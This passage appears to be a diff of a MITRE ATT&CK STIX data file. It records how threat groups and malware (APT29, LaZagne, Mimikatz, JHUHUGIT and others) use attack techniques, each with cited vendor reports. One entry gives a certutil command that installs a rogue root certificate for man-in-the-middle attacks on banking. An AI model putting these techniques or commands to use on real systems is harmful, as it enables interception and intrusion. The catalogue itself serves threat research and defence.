"relationship", + "created": "2019-01-30T15:33:07.643Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--38416e2a-3590-4827-9a6f-d8f1df6568af", + "external_references": [ + { + "source_name": "Mandiant APT1", + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + } + ], + "modified": "2019-03-22T12:40:51.735Z", + "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662", + "relationship_type": "uses", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[OceanSalt](https://attack.mitre.org/software/S0346) can encode data with a NOT operation before sending the data to the control server.", + "type": "relationship", + "created": "2019-01-30T15:43:19.434Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1dac9ffa-1523-4cab-b28f-2d5642ee08aa", + "external_references": [ + { + "source_name": "McAfee Oceansalt Oct 2018", + "description": "Sherstobitoff, R., Malhotra, A. (2018, October 18). \u2018Operation Oceansalt\u2019 Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group. Retrieved November 30, 2018.", + "url": "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-oceansalt.pdf" + } + ], + "modified": "2019-02-12T21:14:11.087Z", + "source_ref": "malware--288fa242-e894-4c7e-ac86-856deedf5cea", + "relationship_type": "uses", + "target_ref": "attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Cardinal RAT](https://attack.mitre.org/software/S0348) can execute commands.", + "type": "relationship", + "created": "2019-01-30T16:39:54.273Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1ffac810-9c9e-4060-9902-737085ba8bc5", + "external_references": [ + { + "source_name": "PaloAlto CardinalRat Apr 2017", + "description": "Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. Retrieved December 8, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/" + } + ], + "modified": "2019-06-10T18:25:51.457Z", + "source_ref": "malware--b879758f-bbc4-4cab-b5ba-177ac9b009b4", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[LaZagne](https://attack.mitre.org/software/S0349) can perform credential dumping to obtain account and password information.", + "type": "relationship", + "created": "2019-01-30T16:45:00.084Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--43619944-94e9-43d9-a761-8e4db2113eef", + "external_references": [ + { + "source_name": "GitHub LaZagne Dec 2018", + "description": "Zanni, A. (n.d.). The LaZagne Project !!!. Retrieved December 14, 2018.", + "url": "https://github.com/AlessandroZ/LaZagne" + } + ], + "modified": "2019-06-24T16:21:13.978Z", + "source_ref": "tool--b76b2d94-60e4-4107-a903-4a3a7622fb3b", + "relationship_type": "uses", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has used malware that can collect the victim\u2019s username.", + "type": "relationship", + "created": "2019-01-30T17:33:41.163Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d1d496f1-fa91-404e-a93a-97670817717a", + "external_references": [ + { + "source_name": "Securelist MuddyWater Oct 2018", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, October 10). MuddyWater expands operations. Retrieved November 2, 2018.", + "url": "https://securelist.com/muddywater/88059/" + } + ], + "modified": "2019-06-28T15:30:58.475Z", + "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", + "relationship_type": "uses", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[certutil](https://attack.mitre.org/software/S0160) can be used to install browser root certificates as a precursor to performing man-in-the-middle between connections to banking websites. Example command: certutil -addstore -f -user ROOT ProgramData\\cert512121.der.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--542bb806-3e73-42f5-8a3e-86b498093f4b", + "external_references": [ + { + "source_name": "Palo Alto Retefe", + "description": "Levene, B., Falcone, R., Grunzweig, J., Lee, B., Olson, R. (2015, August 20). Retefe Banking Trojan Targets Sweden, Switzerland and Japan. Retrieved July 3, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2015/08/retefe-banking-trojan-targets-sweden-switzerland-and-japan/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "tool--0a68f1f1-da74-4d28-8d9a-696c082706cc", + "relationship_type": "uses", + "target_ref": "attack-pattern--d519cfd5-f3a8-43a9-a846-ed0bb40672b1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "A backdoor used by [APT29](https://attack.mitre.org/groups/G0016) created a Tor hidden service to forward traffic from the Tor client to local ports 3389 (RDP), 139 (Netbios), and 445 (SMB) enabling full remote access from outside the network.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--54188543-7746-4158-9a9f-5556bb99ec7a", + "external_references": [ + { + "source_name": "Mandiant No Easy Breach", + "description": "Dunwoody, M. and Carr, N.. (2016, September 27). No Easy Breach DerbyCon 2016. Retrieved October 4, 2016.", + "url": "http://www.slideshare.net/MatthewDunwoody1/no-easy-breach-derby-con-2016" + } + ], + "modified": "2019-07-25T14:25:53.211Z", + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "relationship_type": "uses", + "target_ref": "attack-pattern--7d751199-05fa-4a72-920f-85df4506c76c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Cannon](https://attack.mitre.org/software/S0351) can collect the current time zone information from the victim\u2019s machine.", + "type": "relationship", + "created": "2019-01-30T18:58:04.085Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a3d44c1d-2833-4355-b560-2a7a4fcaac14", + "external_references": [ + { + "source_name": "Unit42 Cannon Nov 2018", + "description": "Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New \u2018Cannon\u2019 Trojan. Retrieved November 26, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/" + } + ], + "modified": "2019-04-22T19:48:08.884Z", + "source_ref": "malware--d20b397a-ea47-48a9-b503-2e2a3551e11d", + "relationship_type": "uses", + "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "As part of the data reconnaissance phase, [Proxysvc](https://attack.mitre.org/software/S0238) grabs the system time to send back to the control server.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d8427910-3c8f-4633-966f-e1a2a8d7c31c", + "external_references": [ + { + "source_name": "McAfee GhostSecret", + "description": "Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/" + } + ], + "modified": "2019-04-22T22:40:41.169Z", + "source_ref": "malware--069af411-9b24-4e85-b26c-623d035bbe84", + "relationship_type": "uses", + "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PLAINTEE](https://attack.mitre.org/software/S0254) uses reg add to add a Registry Run key for persistence.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5bbe7733-4e20-4ee1-a29c-b8e7111781dd", + "external_references": [ + { + "source_name": "Rancor Unit42 June 2018", + "description": "Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--21c0b55b-5ff3-4654-a05e-e3fc1ee1ce1b", + "relationship_type": "uses", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Agent.btz](https://attack.mitre.org/software/S0092) attempts to download an encrypted binary from a specified domain.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--fcc12c1f-1a46-49f4-a872-99cb97968bf0", + "external_references": [ + { + "source_name": "ThreatExpert Agent.btz", + "description": "Shevchenko, S.. (2008, November 30). Agent.btz - A Threat That Hit Pentagon. Retrieved April 8, 2016.", + "url": "http://blog.threatexpert.com/2008/11/agentbtz-threat-that-hit-pentagon.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--40d3e230-ed32-469f-ba89-be70cc08ab39", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Catchamas](https://attack.mitre.org/software/S0261) obtains application windows titles and then determines which windows to perform [Screen Capture](https://attack.mitre.org/techniques/T1113) on.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d93fb52b-985e-4012-9b9f-8638e35c18a0", + "external_references": [ + { + "source_name": "Symantec Catchamas April 2018", + "description": "Balanza, M. (2018, April 02). Infostealer.Catchamas. Retrieved July 10, 2018.", + "url": "https://www-west.symantec.com/content/symantec/english/en/security-center/writeup.html/2018-040209-1742-99" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--8d9e758b-735f-4cbc-ba7c-32cd15138b2a", + "relationship_type": "uses", + "target_ref": "attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[H1N1](https://attack.mitre.org/software/S0132) dumps usernames and passwords from Firefox, Internet Explorer, and Outlook.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0d4e8cb8-c265-449a-b010-f4614135572f", + "external_references": [ + { + "source_name": "Cisco H1N1 Part 2", + "description": "Reynolds, J.. (2016, September 14). H1N1: Technical analysis reveals new capabilities \u2013 part 2. Retrieved September 26, 2016.", + "url": "http://blogs.cisco.com/security/h1n1-technical-analysis-reveals-new-capabilities-part-2" + } + ], + "modified": "2019-04-29T18:23:15.975Z", + "source_ref": "malware--f8dfbc54-b070-4224-b560-79aaa5f835bd", + "relationship_type": "uses", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Kasidet](https://attack.mitre.org/software/S0088) has the ability to identify any anti-virus installed on the infected system.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--95a1ac52-e022-4c81-96cc-b7b39ca776d3", + "external_references": [ + { + "source_name": "Zscaler Kasidet", + "description": "Yadav, A., et al. (2016, January 29). Malicious Office files dropping Kasidet and Dridex. Retrieved March 24, 2016.", + "url": "http://research.zscaler.com/2016/01/malicious-office-files-dropping-kasidet.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--26fed817-e7bf-41f9-829a-9075ffac45c2", + "relationship_type": "uses", + "target_ref": "attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FELIXROOT](https://attack.mitre.org/software/S0267) queries the Registry for specific keys for potential privilege escalation and proxy information. [FELIXROOT](https://attack.mitre.org/software/S0267) has also used WMI to query the Windows Registry.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4f5c53df-7076-4580-bd45-c4c9201269ae", + "external_references": [ + { + "source_name": "FireEye FELIXROOT July 2018", + "description": "Patil, S. (2018, June 26). Microsoft Office Vulnerabilities Used to Distribute FELIXROOT Backdoor in Recent Campaign. Retrieved July 31, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/07/microsoft-office-vulnerabilities-used-to-distribute-felixroot-backdoor.html" + }, + { + "source_name": "ESET GreyEnergy Oct 2018", + "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf" + } + ], + "modified": "2019-01-30T13:42:09.714Z", + "source_ref": "malware--cf8df906-179c-4a78-bd6e-6605e30f6624", + "relationship_type": "uses", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[pngdowner](https://attack.mitre.org/software/S0067) uses HTTP for command and control.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--27afb647-85a1-4e89-8762-c6c7d04bc1c5", + "external_references": [ + { + "source_name": "CrowdStrike Putter Panda", + "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.", + "url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--800bdfba-6d66-480f-9f45-15845c05cb5d", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[StreamEx](https://attack.mitre.org/software/S0142) has the ability to enumerate drive types.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c8b0afbb-12eb-4b45-a1e1-b11755de2976", + "external_references": [ + { + "source_name": "Cylance Shell Crew Feb 2017", + "description": "Cylance SPEAR Team. (2017, February 9). Shell Crew Variants Continue to Fly Under Big AV\u2019s Radar. Retrieved February 15, 2017.", + "url": "https://www.cylance.com/shell-crew-variants-continue-to-fly-under-big-avs-radar" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--91000a8a-58cc-4aba-9ad0-993ad6302b86", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[JHUHUGIT](https://attack.mitre.org/software/S0044) performs code injection injecting its own functions to browser processes.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--da44c85c-914b-41e0-aef7-68cd3c1faea1", + "external_references": [ + { + "source_name": "F-Secure Sofacy 2015", + "description": "F-Secure. (2015, September 8). Sofacy Recycles Carberp and Metasploit Code. Retrieved August 3, 2016.", + "url": "https://labsblog.f-secure.com/2015/09/08/sofacy-recycles-carberp-and-metasploit-code/" + }, + { + "source_name": "Unit 42 Sofacy Feb 2018", + "description": "Lee, B, et al. (2018, February 28). Sofacy Attacks Multiple Government Entities. Retrieved March 15, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-sofacy-attacks-multiple-government-entities/" + } + ], + "modified": "2019-02-01T14:39:36.195Z", + "source_ref": "malware--8ae43c46-57ef-47d5-a77a-eebb35628db2", + "relationship_type": "uses", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) has used [Mimikatz](https://attack.mitre.org/software/S0002) to generate Kerberos golden tickets.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--42049cfe-e374-4726-9832-3ad01d8466a5", + "external_references": [ + { + "source_name": "NCC Group APT15 Alive and Strong", + "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.", + "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" + } + ], + "modified": "2019-04-22T15:08:48.393Z", + "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", + "relationship_type": "uses", + "target_ref": "attack-pattern--a257ed11-ff3b-4216-8c9d-3938ef57064c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Leviathan](https://attack.mitre.org/groups/G0065) has used a DLL known as SeDll to decrypt and execute other JavaScript backdoors.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--bb870870-2dfb-4ff3-9e17-6a75476d9be4", + "external_references": [ + { + "source_name": "Proofpoint Leviathan Oct 2017", + "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets" + } + ], + "modified": "2019-04-25T12:24:57.193Z", + "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e", + "relationship_type": "uses", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[OopsIE](https://attack.mitre.org/software/S0264) checks for information on the CPU fan, temperature, mouse, hard disk, and motherboard as part of its anti-VM checks.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6a289837-2455-471b-81e4-b677550ab77b", + "external_references": [ + { + "source_name": "Unit 42 OilRig Sept 2018", + "description": "Falcone, R., et al. (2018, September 04). OilRig Targets a Middle Eastern Government and Adds Evasion Techniques to OopsIE. Retrieved September 24, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/" + } + ], + "modified": "2019-04-24T23:40:23.370Z", + "source_ref": "malware--8e101fdd-9f7f-4916-bb04-6bd9e94c129c", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Pupy](https://attack.mitre.org/software/S0192) has a module to clear event logs with PowerShell.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c84e0640-82fe-4bb7-b0e1-99b6a746970c", + "external_references": [ + { + "source_name": "GitHub Pupy", + "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.", + "url": "https://github.com/n1nj4sec/pupy" + } + ], + "modified": "2019-04-24T17:52:47.768Z", + "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4", + "relationship_type": "uses", + "target_ref": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[WINERACK](https://attack.mitre.org/software/S0219) can enumerate processes.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--149a056e-9061-4345-a46a-c1f73653d16a", + "external_references": [ + { + "source_name": "FireEye APT37 Feb 2018", + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--49abab73-3c5c-476e-afd5-69b5c732d845", + "relationship_type": "uses", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "The [JHUHUGIT](https://attack.mitre.org/software/S0044) dropper can delete itself from the victim. Another [JHUHUGIT](https://attack.mitre.org/software/S0044) variant has the capability to delete specified files.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--edaa004e-8239-40d8-a4f0-8849c4f0e87f", + "external_references": [ + { + "source_name": "ESET Sednit Part 1", + "description": "ESET. (2016, October). En Route with Sednit - Part 1: Approaching the Target. Retrieved November 8, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part1.pdf" + }, + { + "source_name": "Unit 42 Sofacy Feb 2018", + "description": "Lee, B, et al. (2018, February 28). Sofacy Attacks Multiple Government Entities. Retrieved March 15, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-sofacy-attacks-multiple-government-entities/" + } + ], + "modified": "2019-02-01T14:39:36.188Z", + "source_ref": "malware--8ae43c46-57ef-47d5-a77a-eebb35628db2", + "relationship_type": "uses", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Mis-Type](https://attack.mitre.org/software/S0084) communicates over common ports such as TCP 80, 443, and 25.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a23ab6bc-e5cc-46a9-b77f-747ae6fc6a9b", + "external_references": [ + { + "source_name": "Cylance Dust Storm", + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--e1161124-f22e-487f-9d5f-ed8efc8dcd61", + "relationship_type": "uses", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Some [Sakula](https://attack.mitre.org/software/S0074) samples use cmd.exe to delete temporary files.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e2e91dcc-87b0-4ff8-a6cd-0dfd6a813483", + "external_references": [ + { + "source_name": "Dell Sakula", + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, July 30). Sakula Malware Family. Retrieved January 26, 2016.", + "url": "http://www.secureworks.com/cyber-threat-intelligence/threats/sakula-malware-family/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--96b08451-b27a-4ff6-893f-790e26393a8e", + "relationship_type": "uses", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[POWRUNER](https://attack.mitre.org/software/S0184) may enumerate user directories on a victim.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9670979e-9785-45f0-a470-f591c97f6f8a", + "external_references": [ + { + "source_name": "FireEye APT34 Dec 2017", + "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Mis-Type](https://attack.mitre.org/software/S0084) may create a file containing the results of the command cmd.exe /c net user {Username}.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a33c172b-9910-4f36-8373-32126201144b", + "external_references": [ + { + "source_name": "Cylance Dust Storm", + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--e1161124-f22e-487f-9d5f-ed8efc8dcd61", + "relationship_type": "uses", + "target_ref": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Orz](https://attack.mitre.org/software/S0229) can gather victim proxy information.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c6f0fa41-e240-4184-a0d4-292fb46de3fa", + "external_references": [ + { + "source_name": "Proofpoint Leviathan Oct 2017", + "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--06d735e7-1db1-4dbe-ab4b-acbe419f902b", + "relationship_type": "uses", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[DarkHydrus](https://attack.mitre.org/groups/G0079) used an open-source tool, Phishery, to inject malicious remote template URLs into Microsoft Word documents and then sent them to victims to enable [Forced Authentication](https://attack.mitre.org/techniques/T1187).", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e3a3186e-2ce7-4d46-836e-dc024464ede7", + "external_references": [ + { + "source_name": "Unit 42 Phishery Aug 2018", + "description": "Falcone, R. (2018, August 07). DarkHydrus Uses Phishery to Harvest Credentials in the Middle East. Retrieved August 10, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/08/unit42-darkhydrus-uses-phishery-harvest-credentials-middle-east/" + } + ], + "modified": "2019-04-22T19:23:13.478Z", + "source_ref": "intrusion-set--6b9ebeb5-20bf-48b0-afb7-988d769a2f01", + "relationship_type": "uses", + "target_ref": "attack-pattern--dc31fe1e-d722-49da-8f5f-92c7b5aff534" + }, + { + "created_by_ref": 